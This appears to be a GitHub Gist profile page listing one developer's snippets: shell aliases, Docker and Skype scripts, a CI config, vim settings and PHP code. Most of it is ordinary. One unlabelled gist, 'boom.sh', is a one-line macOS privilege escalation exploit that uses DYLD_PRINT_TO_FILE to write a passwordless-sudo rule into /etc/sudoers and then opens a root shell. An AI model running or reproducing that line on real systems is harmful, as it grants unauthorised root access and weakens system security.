Skip to content

Instantly share code, notes, and snippets.

Avatar

Panagiotis Moustafellos pmoust

View GitHub Profile
@pmoust
pmoust / curlj
Created May 12, 2014
Curl json highlight
View curlj
sudo apt-get install jq
echo 'curlj() { curl -s "$*" | jq "." }' >> ~/.zshrc
source ~/.zshrc
# curlj -XGET -u YOUR_GITHUB_USERNAME https://api.github.com/user/repos
@pmoust
pmoust / container-memory.sh
Created May 28, 2014
List memory usage per Docker container
View container-memory.sh
#!/bin/sh
# Lists memory usage per Docker container
#
# FORMAT:
#
# IMAGE:TAG MEMORY_USAGE CONTAINER ID
for i in `find /sys/fs/cgroup/memory/docker/* -type d`; do
CONTAINER_ID=`echo $i | awk -F'/' '{print $7}'`
MEMORY_USAGE=$((`cat $i/memory.usage_in_bytes`/1024/1024))
@pmoust
pmoust / skype-4.3.sh
Last active Aug 29, 2015
install latest skype for ubuntu precise/trusty
View skype-4.3.sh
#!/bin/sh
sudo killall -9 skype
wget -q -O ~/skype-4.3.deb http://www.skype.com/go/getskype-linux-beta-ubuntu-64 &&
sudo apt-get -y remove skype &&
sudo dpkg -i ~/skype-4.3.deb
if [ $? -eq 0 ]; then
echo "\nSkype installed..\n"
fi
rm -f ~/skype-4.3.deb
View boom.sh
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
@pmoust
pmoust / circle.yml
Created Oct 15, 2015
terraform sync test
View circle.yml
---
machine:
environment:
TF_VERSION: 0.6.4
INFRASTRUCTURE: "peopleperhour supertasker mailchap"
AWS_DEFAULT_REGION: us-east-1
AWS_ACCESS_KEY_ID: readonly
AWS_SECRET_ACCESS_KEY: readonly
FOO: LOL
View gist:6186869
" Modeline and notes {
" vim: set foldmarker={,} foldlevel=0 foldmethod=marker spell:
" }
" Setup Environment {
" The following two lines are required by Vundle.
set nocompatible " be iMproved
filetype off " required!
" Windows Compatibility
View Application::resolveActiveLanguage.php
<?php
/**
* Returns the active language.
* @return string the locale.
*/
public function resolveActiveLanguage()
{
$user = user();
$matches = array();
if ($user->hasState('__locale')) {
View httpget
#!/usr/bin/php
<?php
$scheme='tcp';
$host='www.kernel.org';
$port=80;
$path='/';
if(isset($argv[1])) {
$parsedUrl=parse_url($argv[1]);
View keybase.md

Keybase proof

I hereby claim:

  • I am pmoust on github.
  • I am pmoust (https://keybase.io/pmoust) on keybase.
  • I have a public key ASDQgNASpHW0HAnGumPc9_Rk9M5UGOmICSCEe1WrMwtNCwo

To claim this, I am signing this object:

@pmoust
pmoust / install_htop_darwin.sh
Last active May 16, 2017
Install htop in Darwin
View install_htop_darwin.sh
HTOP_VERSION="2.0.0"
brew remove htop 2>/dev/null
rm -rf `which htop` 2>/dev/null
cd /tmp
wget http://hisham.hm/htop/releases/${HTOP_VERSION}/htop-${HTOP_VERSION}.tar.gz
tar zxvf htop-${HTOP_VERSION}.tar.gz
cd htop-${HTOP_VERSION}
./configure && make && make install && rm -rf /tmp/htop-${HTOP_VERSION}*
popd